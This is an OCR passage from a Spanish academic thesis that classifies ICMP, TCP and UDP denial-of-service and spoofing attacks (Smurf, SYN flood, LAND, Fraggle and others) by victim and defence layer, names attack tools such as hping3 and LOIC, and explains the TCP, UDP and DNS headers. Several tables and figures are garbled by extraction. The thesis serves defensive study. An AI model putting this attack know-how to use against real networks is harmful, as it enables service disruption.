los distintos mensajes ICMPv4 y sus respectivos codigos pueden encontrarse en [16].

2221 Ataques sobre ICMP

Como se menciona en Ataques sobre [Pv4, se puede aprovechar la falsificacion de la direccion IP origen de los
mensajes para atacar a la victima suplantada. Resulta especialmente peligroso el uso de determinadas utilidades
de control que ofrece ICMP para alterar el encaminamiento.

2.2.2.1.1 Inundacién ping

La inundacién ping es el ataque mas basico que utiliza ICMP. El equipo atacante envia un elevado niimero de
peticiones Echo (tipo 8) a la victima para que las responda con respuestas Echo (tipo 0). El objetivo de este
ataque suelen ser equipos finales (fargeted local disclosed) o enrutadores (router disclosed), 1os cuales son mas
probables de ser atacados ya que su direccion IP es conocida por los equipos de la red. La finalidad del ataque
es saturar la victima, ralentizandolo y, si ademas proporciona un servicio, degradar su calidad o denegarlo. Para
disminuir o neutralizar sus efectos, seria necesario bloquear los mensajes ICMP o limitar el caudal de este tipo
de trafico, es decir, usar funcionalidades de nivel L3.

Nivel de la Justificacion

Victima L3 La victima es cualquier equipo con direccion IP (L3)

La defensa se basa en la inspeccion de elementos de la capa de red (L3) y/o el flujo de
Defensa L3 llegada de los mensajes, funcionalidades adicionales que el conmutador carece,
necesitando un riter, cortafuegos u otro elemento de nivel L3.

Tabla 2-7. Nivel de victima y defensa, y su justificacion en ataque de Inundacion ping
22212 Smurf

El ataque pitufo, por su traduccion del inglés, consiste en inundar con mensajes ICMP Echo Reply (tipo 0) a una
victima suplantando su direccion IP. Para ello, con la direccion falsificada, el atacante envia un flujo constante
de mensajes ICMP Echo Request (tipo 8) a un equipo intermedio. Si no ignora dichas peticiones, envia de vuelta
tantas respuestas como solicitudes reciba y, al haber falsificado el origen, las envia a la victima en lugar del
atacante. Si en vez de una Unica maquina intermedia se utilizan varias, el ataque tiene mas probabilidades de
resultar exitoso. Esto se conoce como ataque de reflexion. Los resultados y fortificaciones son similares a los de
la inundacion ping, a los que se les incluye mecanismos para evitar la suplantacion IP que se corresponderian
con mecanismos de defensa L2.

Nivel de la Justificacion

Victima L3 La victima es cualquier equipo con direccion IP (L3)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-8. Nivel de victima y defensa, y su justificacion en ataque Smurf
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2.2.2.1.3 Redireccion

Uno de los mensajes ICMP es el de redireccion (tipo 5). La idea original es que los encaminadores con este
mensaje puedan indicar a otros encaminadores — o al equipo origen — que el datagrama esta dando un salto
innecesario y que debe ser enviado a la direccion sugerida en el campo de datos. En la Figura 2-17 se muestra
un escenario donde se produce un salto redundante y cuando es enviado el mensaje de redireccion.

3 (redireccion)

== 5 Iy : )
prrEnea N 10.10.1.2/24 10102.1/24 LEEES
10.10.1.6/24 10.10.2.2/24

Figura 2-17. Envio de un mensaje ICMP de redireccion

Un atacante puede aprovecharse de aquellos equipos que aceptan mensajes de redireccion para obligarlos a
mandar los mensajes al equipo atacante, interceptando el trafico de la victima, es decir, un ataque MitM. Si bien
por defecto muchos equipos ignoran los mensajes de redireccion, la defensa puede basarse en identificar
paquetes cuya direccion IP origen ha sido modificada.

Nivel de la Justificacion

Victima L3 La victima es cualquier equipo con direccion IP (L3)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-9. Nivel de victima y defensa, y su justificacion en ataque de Redireccion
2.2.21.4 Nuke/Fragmentacion

Los paquetes ICMP que utilizan fragmentacion IP, tal y como se menciona en el apartado 0, aprovechan las
desventajas que supone para el equipo victima recibir paquetes fragmentados (opcionalmente, e invalidos) para
conseguir diversos resultados. En los sistemas operativos vulnerables a este tipo de ataques, esto podria bloquear
completamente el ordenador y conllevar la denegacion de los servicios ofrecidos por este. Su proteccion, debido
a la naturaleza del ataque, es similar a la del apartado 0.

Nivel de la Justificacion

Victima L3 La victima es cualquier equipo con direccion IP (L3)

La defensa se basa en la inspeccion de elementos de la capa de red (L3) y/o el flujo de
Defensa L3 llegada de los mensajes, funcionalidades adicionales que el conmutador carece,
necesitando un riter, cortafuegos u otro elemento de nivel L3.

Tabla 2-10. Nivel de victima y defensa, y su justificacion en ataque Nuke/Fragmentacion
2.2.2.1.5 Pingof Death

El conocido “ping de la muerte” es un mensaje ICMP Echo con un tamafio superior al permitido (65507 octetos,
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teniendo en cuenta las cabeceras). Los resultados son similares a los expuestos en 2.2.2.1.4, llegando hasta
reiniciar o apagar el equipo victima en caso de ser susceptibles. El control de estos paquetes malformados, al
igual que otros ataques, recae en los equipos intermedios de nivel de red.

Nivel de la Justificacion

Victima L3 La victima es cualquier equipo con direccion IP (L3)

La defensa se basa en la inspeccion de elementos de la capa de red (L3) y/o el flujo de
Defensa L3 llegada de los mensajes, funcionalidades adicionales que el conmutador carece,
necesitando un rater, cortafuegos u otro elemento de nivel L3.

Tabla 2-11. Nivel de victima y defensa, y su justificacion en ataque Ping of Death
2.2.2.1.6  Blacknurse

El ataque Blacknurse hace referencia a la inundacion de mensajes ICMP tipo 3 y codigo 3 (destino inalcanzable,
puerto inalcanzable). Este mensaje especifico es costoso de procesar para los cortafuegos u otros equipos
intermedios de nivel L3, consiguiendo en comparacion un consumo de recursos mayor hasta incluso provocar
el colapso del equipo afectado.

Nivel de la Justificacion

Victima L3 La victima es cualquier equipo con direccion IP (L3)

La defensa se basa en la inspeccion de elementos de la capa de red (L3) y/o el flujo de
Defensa L3 llegada de los mensajes, funcionalidades adicionales que el conmutador carece,
necesitando un rater, cortafuegos u otro elemento de nivel L3.

Tabla 2-12. Nivel de victima y defensa, y su justificacion en ataque Blacknurse
2.2.2.1.7 Source Quench

Un equipo puede mandar un mensaje ICMP Source Quench (tipo 4) para advertir al equipo emisor de que esta
enviando los datagramas demasiado rapido y no estd siendo capaz de procesarlos adecuadamente. En
consecuencia, el equipo emisor deberia reducir el caudal hasta dejar de recibir este tipo de mensajes ICMP. Un
atacante puede suplantar la direccion IP del enrutador o destinatario para reducir al maximo el flujo, ralentizando
significativamente la comunicacién y degradando la calidad de los servicios prestados. La prevencion de la
suplantacion IP (L2) o el rechazo de este tipo de mensajes ICMP (L3) son algunas de las fortificaciones para un
ataque Source Quench. Esto tltimo, como recoge el estandar propuesto RFC 6633 [19], es implementado en la
mayoria de sistemas operativos actuales, siendo en Linux un comportamiento establecido desde 2004.

Nivel de la Justificacion

Victima L3 La victima es cualquier equipo con direccion IP (L3)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-13. Nivel de victima y defensa, y su justificacion en ataque Source Quench
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2.2.3 Sumario de ataques de capa red

Nivel . . . (Jmplementado
Ataque Objetivo | victima/defensa "B;tfnrﬁillzrin Consecuencias szrzlge:;;as en otro
Nivel ataque : q TFG/TFM?
Si[16]
Si Segun a;aque Implicito en
. DoS,
IP Spoofing Equipo L3/L3 Asociar IP- SI(lifﬁn _ ataques con
[20] final Lo MAC-VLAN- & 1p defensa basada
Suplantacion, en asociacion
Puerto MitM, etc.) IP-MAC-
VLAN-Puerto
Equipo fragroute,
Fragmentacion final L3/L3 No Consumo de libcrafter, No
IP[21] enru ta(’lor L3 recursos, DoS | mausezahn,
libnet
Si hping3,
Smurf [22] | Eauipo B3 Asociar IP- DoS nemesis, Si[16]
final L2 MAC-VLAN- LOIC, IP
Puerto Sorcery
Si
Redireccion Equipo L3/L3 - netwox
final, Asociar [P- MitM ’ No
(23] enrutador L2 MAC-VLAN- ettercap
Puerto
Inundacion Equipo L3/L3 No DoS hping3, scapy, No
ping [24] final L3 SING, smurf6
Equipo L3/L3 .
Blacknurse hping3, scapy
final, No DoS ’ ’ No
[25] enrutador L3 SING, smurf6
Nuke / . L3/L3 hping3, scapy,
Fragmentacion Egﬁgio No DoS SING, No
[26] L3 bettercap
Ping of death | Equipo L3/L3 No DoS hping3, scapy, No
[27] final L3 SING
Si
Source Equipo L3/L3 Asociar IP-
Quench [28] final L2 MAC-VLAN- DoS etwox ne
Puerto

Tabla 2-14. Resumen de los ataques de capa red
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2.3 Protocolos de capa transporte

La capa de transporte, la nlimero 4 en el modelo OSI, permite a las capas superiores transmitir datos entre origen
y destino. En una misma maquina pueden coexistir flujos de diferentes aplicaciones ya que cada una va dirigida
aun puerto distinto. Un mismo nimero de puerto, a su vez, puede pertenecer a distintos protocolos de transporte.
Los protocolos mas comunes en Internet son TCP y UDP, y el uso de uno u otro depende de las necesidades de
la aplicacion que la utilice. Al igual que el apartado anterior, se ha partido de [16] para elaborar el listado de
ataques de este protocolo.

2.3.1 Transmission Control Protocol (TCP)

TCP se define originalmente en la RFC 793, aunque es la RFC 9293 [29] la que establece las bases de TCP
desde 2022. Este protocolo de transporte ofrece a las aplicaciones un servicio de transporte libre de errores,
ordenado, bidireccional, orientado a flujo y a conexion a las aplicaciones que la utilizan. La unidad basica de
datos que transporta se conoce como segmento.

7} 1 2 3
21234567890123456789012345678901
ottt otototototoFotototototoboFotoFoFotob ottt ottt +
| Source Port Destination Port |
ottt otototototoFotototototoboFotoFoFotob ottt ottt +
| Sequence Number |
ottt otototototoFotototototoboFotoFoFotob ottt ottt +
| Acknowledgment Number |
ottt otototototoFotototototoboFotoFoFotob ottt ottt +
| Data | C|E|JU|A|P|R|S|F |
| Offset| Rsxvd |W|C|R|C|S|S|Y|L Window |
I \ RIEIG|K[H|TIN[N I
ottt otototototoFotototototoboFotoFoFotob ottt ottt +
| Checksum Urgent Pointer |
ottt otototototoFotototototoboFotoFoFotob ottt ottt +
| [Options] |
ottt otototototoFotototototoboFotoFoFotob ottt ottt +

|
: Data

Fodetototototototototototototototototototobototototototototototot

Figura 2-18. Formato de la cabecera TCP
De la Figura 2-19, se remarcan los campos:

o Source Port/Destination port. determinan los puertos origen y destino asociados a las aplicaciones
correspondientes.

e Sequence Number/Acknowledgement Number: el primero, identifica el nimero del primer octeto del
segmento enviado; el segundo, si la bandera ACK esta activa, indica el valor del siguiente sequence
number que se espera recibir. De esta forma, se pueden ordenar los segmentos y detectar la pérdida (o
error, con el checksum) de alguno.

e Banderas SYN, RST, FIN: en orden, se utilizan para iniciar, resetear y finalizar una conexion.

Como se ha mencionado, TCP es orientado a conexion, y antes de establecerla, los nodos deben realizar un
previo intercambio de mensajes TCP para acordar los nimeros de secuencia iniciales (usando la bandera SYN)
y asi poder controlar la pérdida o errores de segmentos TCP. Este paso es conocido como Three-way handshake,
en alusion a los tres mensajes TCP que se intercambian.
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Client Server

Figura 2-19. Diagrama de paso de mensajes del Triple-way handshake entre cliente y servidor [30]

Para poder responder al segmento de sincronizacion, el servidor debe tener un puerto en estado LISTEN
(escucha). Una vez enviado, el cliente pasa al estado SYN-SENT, mientras que el servidor, al recibirlo, crea un
nuevo socket en estado SYN-RECV. A partir de la recepcion de los ACKs, ambos nodos se encuentran en el
estado ESTABLISHED (conexion establecida), y se intercambian tantos datos como la aplicacion requiera. Los
segmentos enviados deben ser correspondidos con sus segmentos ACK pertinentes para poder solicitar el
reenvio en caso de error, garantizando la fiabilidad de su entrega. Es por esto por lo que la transferencia de
archivos (como FTP), servicios web y de correo se apoyan en TCP.

La conexion TCP puede finalizar de forma abrupta al recibir un segmento con la bandera RST activa, o bien, de
manera analoga a la apertura, se cierra con un Four-way handshake.

Initiator Receiver
ESTABLISHED '
connection :
o close . ESTABLISHED
active close FIN i comnmection

FIN_WAIT 1 \i :
" CLOSE_WAIT

passive close

‘%‘(
FIN_WAIT 2 ‘/ﬂ\\ LAST_ACK
TIME_WAIT :

ACK
\) CLOSED

CLOSED

Figura 2-20. Diagrama de paso de mensajes y estados de los nodos al finalizar una conexion [31]

Cuando uno de los nodos decide finalizar la conexion envia un segmento con la bandera FIN activa. Si durante
un margen de tiempo no recibe un ACK y FIN de la contraparte, se reenvia el segmento FIN; si los recibe, le
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confirma su recepcion con un tltimo ACK. Nuevamente, si dentro de un margen de tiempo recibe los segmentos
ACK-FIN, reenvia el ACK para que ambas partes puedan cerrar de forma independiente la conexion.

2311  Ataques sobre TCP

El establecimiento y cierre de conexion TCP es el protagonista de la mayoria de los ataques recogidos ya que se
parte de una confianza entre ambos equipos.®

2.3.1.1.1 Inundacion SYN

El Triple-way handshake no tiene ningin mecanismo de proteccion para evitar que el proceso no se quede a la
mitad: un atacante puede enviar una gran cantidad de mensajes SYN para saturar los sockets de conexion, por
ejemplo, de un servidor web y dejarlos en estado SYN-RECV a la espera del ACK. Segun el tiempo de espera
establecido y los recursos consumidos por el sistema operativo del servidor, en mayor o menor medida se
consigue una degradacion de los servicios ofrecidos. Los equipos intermediarios —como los cortafuegos—
deben poder inspeccionar la capa de transporte (L4) de los paquetes para poder detectar, limitar y/o filtrar este

tipo de ataques.
&

SYN-ACK

?

Figura 2-21. Diagrama ilustrativo del ataque inundacion SYN [32]

Nivel de la Justificacion

Victima L4 La victima es cualquier equipo con sockets TCP en estado de escucha (L4)

La defensa se basa en la inspeccion de los segmentos TCP de llegada (L4) y/o el flujo
Defensa L3 de los mensajes, funcionalidades adicionales que el conmutador carece, necesitando
un ruter, cortafuegos u otro elemento de nivel L3 con dichas funciones.

Tabla 2-15. Nivel de victima y defensa, y su justificacion en ataque Inundacion SYN
2.3.1.1.2 Inundacién SYN con suplantacion IP

Este ataque sigue el mismo principio y, por tanto, obtiene el mismo resultado que en el apartado anterior
(2.3.1.1.1), pero se modifica la direccion IP del atacante. De esta forma, se evita que la direccion del atacante
pueda ser bloqueada en una lista negra en el servidor u otro nodo intermedio que proteja su acceso. Ademas de
lo especificado en el apartado 2.3.1.1.1, elementos como los balanceadores de carga pueden ayudar a que el
ataque se disipe entre varios servidores. Dentro de una red LAN, se pueden emplear mecanismos de defensas
anteriormente mencionados de nivel L2 como la asociacion MAC-IP-VLAN-Puerto.

3 Entre otras motivaciones, el protocolo SCTP (Stream Control Transmission Protocol) es una mejora directa de TCP en cuanto a seguridad, ya
que el nuevo handshake busca verificar la asociacién y la autenticidad de las solicitudes.
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Nivel de la Justificacion

Victima L4 La victima es cualquier equipo con sockets TCP en estado de escucha (L4)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L2)

Tabla 2-16. Nivel de victima y defensa, y su justificacion en ataque Inundacion SYN con suplantacion
2.3.1.1.3 Inundaciéon SYN-ACK o ACK

En este caso, y a diferencia del ataque recogido en el apartado 2.3.1.1.1, la inundacion mediante segmentos
SYN-ACK o ACK de nivel L4 tiene como unica finalidad sobrecargar el equipo con un alto volumen de trafico.
En comparacion con otros ataques de la misma naturaleza, este ataque de inundacion consume recursos extra en
los servidores, ya que son segmentos inesperados que no tienen una sesion o conexion asociada. Por tanto, la
degradacion del servicio obtenida en comparacion con otros ataques de inundacion obtiene resultados mas
severos. Es necesario que los equipos intermedios inspeccionen la cabecera TCP de los mensajes (L4) para poder
determinar si hay conexiones asociadas o no, y tomar medidas al respecto.

Nivel de la Justificacion

Victima L4 La victima es cualquier equipo con nivel de plano de datos de transporte (L4)

La defensa se basa en la inspeccion de los segmentos TCP de llegada (LL4) y/o el flujo
Defensa L3 de los mensajes, funcionalidades adicionales que el conmutador carece, necesitando
un ruater, cortafuegos u otro elemento de nivel L3 con dichas funciones.

Tabla 2-17. Nivel de victima y defensa, y su justificacion en ataque Inundacion SYN-ACK o ACK
2.3.1.14 Reflexion SYN-ACK

Como se menciona en el apartado 2.2.2.1.2, un ataque de reflexion consiste en enviar, con la direccion IP de la
victima suplantada, multitud de mensajes a diferentes maquinas para que todas las respuestas se dirijan a la
victima y la sature. En este caso, en esta variante del ataque 2.3.1.1.3 el atacante inunda distintos servidores con
sockets TCP en escucha para que envie los segmentos SYN-ACK a la victima. Si tanto la red del servidor como
de la victima cuentan con elementos de seguridad (balanceadores de carga, cortafuegos, filtros, u otros elementos
capaces de inspeccionar la cabecera L4) las probabilidades de éxito del ataque disminuyen. Como en el ataque
2.3.1.1.2, en una red LAN puede ser defendible a nivel L2 con la asociacion MAC-IP-VLAN-Puerto.

Nivel de la Justificacion

Victima L4 La victima es cualquier equipo con nivel de plano de datos de transporte (L.4)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-18. Nivel de victima y defensa, y su justificacion en ataque Reflexion SYN-ACK
2.3.1.1.5 Local Area Network Denial (LAND)

El ataque LAND consiste en enviar un segmento SYN con los puertos origen y destino iguales al puerto de
escucha de la victima y la direccion IP origen de esta. Los sistemas operativos vulnerables a este ataque, al
intentar responder, entran en un bucle que puede causar que el sistema colapse. Tal y como se ha expuesto con
otros ataques basados en la suplantacion IP, detectar y eliminar paquetes con direcciones falsificadas es crucial.

22



Seguridad en conmutadores de red y puntos de acceso. Clasificacion y realizacion practica de ataques 23

2.3.1.1.6  Ataque de reseteo de conexién

La conexion TCP puede finalizar de forma repentina a la llegada de un segmento con la bandera RST activa 'y
los campos sequence y acknowledgement number adecuados. Si un atacante es capaz de monitorizar la conexion,
puede suplantar la direccion de uno de los extremos y forjar un segmento con los campos apropiados para
romperla. Ademas, puede evitar futuras conexiones a través del envio de mas segmentos RST en el handshake,
llevando a una denegacion de servicio completa.

Figura 2-22. Atacante rompiendo una conexion mediante ataque de reseteo

Nivel de la Justificacion

Victima L4 La victima es cualquier equipo con sockets TCP en estado de escucha (L4)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-19. Nivel de victima y defensa, y su justificacion en ataque de Reseteo de conexion
2.3.1.1.7 Prediccion de secuencia

Como su nombre indica, este ataque intenta adivinar el sequence number del proximo segmento TCP que un
equipo va a enviar. Asi, en caso de acierto, un atacante con su direccion IP falseada puede enviar datos con fines
maliciosos a la victima. Los equipos vulnerables a la prediccion de secuencia son susceptibles de sufrir ataques
de denegacion de servicio o de inyeccion de datos maliciosos. Como en otros casos, es necesario que los equipos
intermedios puedan detectar suplantaciones IP (funcionalidad L.2). No obstante, los sistemas operativos Linux
y, en general, los contemporaneos implementan una aleatorizacion satisfactoria del nimero de secuencia inicial
[33].

Nivel de la Justificacion

Victima L4 La victima es cualquier equipo con sockets TCP en estado de escucha (L4)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion I[P, como un conmutador (L.2)

Tabla 2-20. Nivel de victima y defensa, y su justificacion en ataque de Prediccion de secuencia
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2.3.1.1.8 Fragmentacion TCP

Dentro de TCP se pueden distinguir dos tipos de ataques de fragmentacion dependiendo de la vulnerabilidad
que se pretenda aprovechar. Si se busca un mal reensamblado en el destino, el ataque se conoce como teardrop,
y explota un bug en ciertos sistemas operativos que causan la denegacion de servicio de este. Por otra parte, si
la fragmentacion se utiliza para sortear un cortafuegos o filtros, este ataque coloca las banderas con intenciones
dafiinas en el segundo fragmento. En definitiva, los ataques de fragmentacion TCP obtienen resultados similares
0 mas potentes que el reensamblado IP basico (0), y requieren de cortafuegos que inspeccionen los segmentos
(nivel L4) para bloquearlos.

Nivel de la Justificacion

Victima L4 La victima es cualquier equipo con nivel de plano de datos de transporte (L.4)

Al basarse en la fragmentacion IP, la defensa se basa en la inspeccion de elementos de
Defensa L3 la capa de red (L3), funcionalidad adicional que el conmutador carece, necesitando un
rater, cortafuegos u otro elemento de nivel L3.

Tabla 2-21. Nivel de victima y defensa, y su justificacion en ataque de Fragmentacion TCP

2.3.2  User Datagram Protocol (UDP)

La propia RFC que la define (RFC 768 [34]) considera UDP como el servicio minimo de transporte para las
aplicaciones. UDP esta orientado a transacciones, no a conexiones, y no garantiza la correcta entrega de los
datagramas enviados; Unicamente es capaz de detectar mensajes erroneos con la suma de verificacion
(checksum).

il 7 8 15 16 23 24 31
+ 1 + +
Source | Destination |
Port | Port |
+ + + +
| |
Length | Checksum |
1 +

+

data octets

Figura 2-23. Formato de la cabecera UDP

Como se puede observar en la Figura 2-23, la cabecera UDP unicamente anade 8 octetos al paquete IP
subyacente, indicando al igual que en TCP el puerto origen y destino para ser entregado a la aplicacion
correspondiente. Precisamente, la gran ventaja de utilizar UDP radica en su sencillez y ligereza, ya que no
necesita establecer conexiones, reenviar o confirmar la recepcion de los datagramas. Algunas de las aplicaciones
de Internet mas comunes utilizan UDP, como por ejemplo DNS o DHCP, asi como aquellas que transmiten voz
y video sobre IP.

23.21  Ataques sobre UDP

Los ataques a UDP son menos numerosos en comparacion con TCP, ya que su simpleza aporta pocas
vulnerabilidades a la capa de transporte.

2.3.2.1.1 Inundacion UDP

A diferencia de otros ataques de la misma categoria, como la inundacion ping (2.2.2.1.1), la inundacion UDP
tiene un coste de procesamiento extra para el equipo atacado. Esto sucede porque la victima, ante la llegada de
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un datagrama UDP, comprueba primero si hay alguna aplicacion a la escucha en el puerto indicado. De no ser
asi, informa al origen de que el puerto destino es inaccesible con un mensaje ICMP tipo 3, codigo 3. Un alto
volumen de mensajes puede saturar los sistemas finales, conllevando una degradacion o denegacion de servicio.
Al igual que ataques de inundacion anteriores, una limitacion del trafico a nivel L3 puede atenuar los efectos del
ataque. En combinacion con equipos que filtren segun el puerto destino (L4), se puede evitar que el servidor
procese los mensajes.

Nivel de la Justificacion

Victima L4 La victima es cualquier equipo con nivel de plano de datos de transporte (L4)

La defensa se basa en la inspeccion de los datagramas de llegada (L4) y/o el flujo de
Defensa L3 los mensajes, funcionalidades adicionales que el conmutador carece, necesitando un
rater, cortafuegos u otro elemento de nivel L3 con dichas funciones.

Tabla 2-22. Nivel de victima y defensa, y su justificacion en ataque de Inundacion UDP
2.3.2.1.2 Fraggle

La asociacion de ciertos puertos TCP y UDP a determinadas aplicaciones de interés general tiene como fin
facilitar el descubrimiento o el acceso a dichas aplicaciones. El ataque fraggle es un tipo concreto de ataque
smurf (2.2.2.1.2) que se dirige, comunmente, hacia los puertos UDP 7, 13 y 19. Estos puertos se consideran de
diagndstico y el volumen de trafico que generan es igual o mayor que el de las peticiones. Estos ataques se
denominan ataques de amplificacion y su potencia se mide en el factor de amplificacion o BAF (Bandwidth
Amplification Factor). De los tres puertos, el que mayor BAF tiene es el puerto 19 (CHARGEN), con un valor
de 358’8 [35]. Este ataque tiene las mismas consecuencias —o incluso mas graves— y fortificacion que el
apartado anterior (2.3.2.1.1).

Nivel de la Justificacion

Victima L4 Las victimas son equipos con nivel de plano de datos de transporte (L4)

La defensa se basa en el uso de la tabla DHCP Snooping (construida por el plano de
Defensa L2 control del conmutador examinando los mensajes L7 DHCP), pero el plano de datos
del equipo no requiere direccion IP, como un conmutador (L.2)

Tabla 2-23. Nivel de victima y defensa, y su justificacion en ataque Fraggle
2.3.2.1.3 Fragmentacién UDP

El ataque de fragmentacion UDP es, esencialmente, un ataque de inundacion UDP a un puerto o puertos
especificos (nivel L4) que utiliza la fragmentacion IP para un mayor consumo de ancho de banda y consumo de
recursos. Al incluir el proceso de reensamblado en el destino, la victima debe consumir un mayor niimero de
recursos y podria evitar que atienda a peticiones legitimas, es decir, un ataque de DoS.

Nivel de la Justificacion

Victima L4 La victima es cualquier equipo con nivel de plano de datos de transporte (L4)

Al basarse en la fragmentacion IP, la defensa se basa en la inspeccion de elementos de
Defensa L3 la capa de red (L3), funcionalidad adicional que el conmutador carece, necesitando un
rater, cortafuegos u otro elemento de nivel L3.

Tabla 2-24. Nivel de victima y defensa, y su justificacion en ataque de Fragmentacion UDP
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2.3.3 Sumario de ataques de capa transporte

Nivel (Defendible Herramientas (Jmplementado
Ataque Objetivo | victima/defensa en Consecuencias de atagque en otro
Nivel ataque | conmutador? d TFG/TEM?
) hping3,
Inundacion Equipo No DoS nemesis, No
SYN [36] final L3 LOIC, IP
Sorcery
. Si .
Inundacion ) hping3,
SYN con Equipo L4/L2 Asociar IP- DoS nemesis, No
suplantacion final L2 MAC- LOIC, IP
[36] VLAN- Sorcery
Puerto
Inundacion hping3
SYN-ACK , L4/13 .
137] Equipo No DoS nemesis, No
., final L3 LOIC, IP
Inundacion Sorce
ACK [38] Yy
Si hoing3
L ing3,
Reflexion . Asociar IP- PInE-
Equipo L4/L2 sociar nemesis,
SYIE;SCK final L2 MAC- DoS LOIC, IP No
VLAN- Sorcery
Puerto
Si .
/L2 Asociar IP S
Equipo L4 sociar 1= nemesis, .
LAND [40] final - MAC- DoS LOIC, IP Si[16]
VLAN- Sorcery
Puerto
Si
i L4/L2 Asociar [P-
vt ol R B ST B B
L VLAN-
Puerto
Si
) hping3,
Prediccion de | Equipo L4/L2 Asociar IP- DosS, nemesis, N
secuencia [42] final L2 MAC- inyeccion LOIC, IP ©
VLAN- Sorcery
Puerto
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Nivel (Defendible Herramientas (Jmplementado
Ataque Objetivo | victima/defensa en Consecuencias de atacue en otro
Nivel ataque | conmutador? q TFG/TEM?
W3 hping3,
.y . 1L4/L .
Fragmentacion | Equipo No DoS nemesis, No
TCP [43] [44] final L3 LOIC, IP
Sorcery
Si hping3,
Fraggle [45] final MAC- DoS LOIC, IP No
L2 VLAN- Sorcery,
Puerto UDP Flooder
hping},
. . L4/1.3 nemesis,
Inundacion | Equipo No DoS LOIC, TP Si[16]
UDP [36] final L3
Sorcery,
UDP Flooder
L4/L3 bpings,
Fragmentacion | Equipo No DoS nemesis, No
UDP [46] final L3 LOIC, IP
Sorcery

Tabla 2-25. Resumen de los ataques de capa transporte

2.4 Protocolos de capa aplicacion

La séptima y tltima capa del modelo OSI es la denominada capa de aplicacion. Esta es la responsable de mostrar
la informacion recibida al usuario a través de una interfaz. Existe una gran variedad de aplicaciones que atienden
a las distintas necesidades de los usuarios. Una de ellas, utilizada en el dia a dia, es DNS. A continuacion, se va
a exponer con mas detalle su proposito, uso y ataques a los que DNS es vulnerable. Los TFM [6] y [16] son la
base de los ataques de este apartado, los cuales han sido agrupados segiin su finalidad.

2.41 Domain Name System (DNS)

El estandar de DNS aparece en las RFC 1034 [47] y 1035 [48]. El objetivo de DNS es doble: por un lado, evitar
a los usuarios la memorizacion de direcciones IP de los distintos servidores a los que quiere acceder; por otro,
agrupar en un mismo nombre las diversas direcciones que puede tomar una misma aplicacion o dominio. Por
ejemplo, un usuario que desea acceder a Google solo tiene que escribir www.google.com en el buscador, y DNS
se encarga de traducir el nombre a la IP correspondiente.*

El ejemplo expuesto se corresponde con la solicitud de un registro A (0 AAAA, si en vez de una direccion IPv4
se solicita una IPv6), pero no es el tnico tipo de registro que almacenan los servidores DNS. Ademas de los A
y AAAA, otros registros de interés son: MX (servidores de correo electronico), CNAME (alias de un nombre),
DNAME (igual que CNAME, pero incluyendo el resto de subnombres), NS (servidores autoritativos para una
zona determinada) y SOA (informacion autoritativa sobre una zona). Otro registro relevante es PTR, que se
utiliza en las bsquedas de DNS inverso, es decir, traducir direcciones IP a nombres de dominio.

4 En Espania seria la direccién 142.250.200.78. Si se buscase www.google.com en el estado de Virginia, Estados Unidos, el servidor DNS mas
cercano devolveria 142.251.167.139
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DNS, por defecto, tiene asignado el puerto 53 en los equipos y puede ir sobre TCP o UDP. El uso de un protocolo
de transporte u otro depende de la cantidad de informacion a transmitir. Como se indica en la RFC 1035, se
recomienda utilizar UDP para consultas estandares en Internet; TCP, por lo contrario, debe usarse para
transferencia de zonas (replicacion de bases de datos entre servidores) y cuando los datos a transmitir sean
mayores a 512 octetos, evitando la fragmentacion IP.

En la Figura 2-24 se puede observar su cabecera:

1 1 1 1 1 1
B 1 2 3 4 5 6 7 8 9 B 1 2 3 4 5

e L ST Sy S T

| ID |
T T s E e
| QR | Opcode |AA|TC|RD|RA| Fi | RCODE

T T
| QDCOUNT |
e
| ANCOUNT |
e
| NSCOUNT |
e
| ARCOUNT |

T e S

Figura 2-24. Formato del mensaje y de la cabecera DNS

e ID: identifica la solicitud del cliente. El servidor debe responder con el mismo ID y dirigirse al mismo
puerto para que una solicitud se considere valida.®

o QR y Opcode: especifican si el mensaje es una pregunta o respuesta y qué ha sido solicitado (solicitud
estandar, inversa o de estado del servidor).

e Banderas AA, TC, RD y RA: cuando estan activas, indican que la respuesta viene de un servidor
autoritativo (AA), que el mensaje ha sido truncado (TC), que se ha solicitado una respuesta recursiva
(RD) y que la recursividad esta disponible en el servidor (RA).

e RCODE: cuando su valor es 0, indica que no ha habido ningtn error; de lo contrario, avisa al cliente de
que la solicitud ha tenido problemas para ser respondida por: error de formato (1), error del servidor (2),
error en el nombre solicitado (3), registro no implementado en el servidor (4) y rechazo por politica del
servidor (5).

o  QD/AN/NS/ARCOUNT: especifican el numero de entradas en las secciones que contintian después de
la cabecera. En la Figura 2-25 se puede comprobar como estos campos se corresponden directamente,
uno a uno, con las secciones question, answer, authority y additional (pregunta, respuesta, autoridad y
adicional, respectivamente).

5 Aunque no esta recogido en los estandares de DNS, la mayoria de solucionadores escogen pseudoaleatoriamente el ID y puerto origen para
una mayor seguridad. La RFC 5452 [107], estandar propuesto, reconoce como la aleatorizaciéon de ambos campos complica la efectividad de
los ataques DNS al casi duplicar el espacio muestral.
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Header
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Figura 2-25. Formato de la respuesta DNS

A no ser que se ejecute de forma explicita, el proceso de resolucion de nombres ocurre de manera transparente
para el usuario. Cuando se escribe un nombre en lugar de una direccion IP, es imprescindible llevar a cabo una
traduccion. En primer lugar, se comprueba que haya una entrada estatica del nombre almacenada en la maquina.
